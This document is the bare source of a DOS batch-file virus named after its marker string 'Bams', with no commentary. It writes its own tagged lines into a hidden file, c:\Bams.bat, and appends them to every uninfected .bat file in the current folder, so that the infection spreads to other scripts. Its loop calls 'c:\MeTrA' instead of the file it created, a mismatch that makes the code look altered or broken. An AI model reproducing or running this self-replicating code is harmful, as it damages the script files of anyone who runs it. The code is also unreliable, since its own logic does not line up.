@echo off%[Bams]%
if '%1=='In_ goto Bamsin
if exist c:\Bams.bat goto Bamsru
if not exist %0 goto Bamsen
find "Bams"<%0>c:\Bams.bat
attrib +h c:\Bams.bat
:Bamsru
for %%t in (*.bat) do call c:\MeTrA In_ %%t
goto Bamsen
:Bamsin
find "Bams"<%2>nul
if not errorlevel 1 goto Bamsen
type c:\Bams.bat>>%2
:Bamsen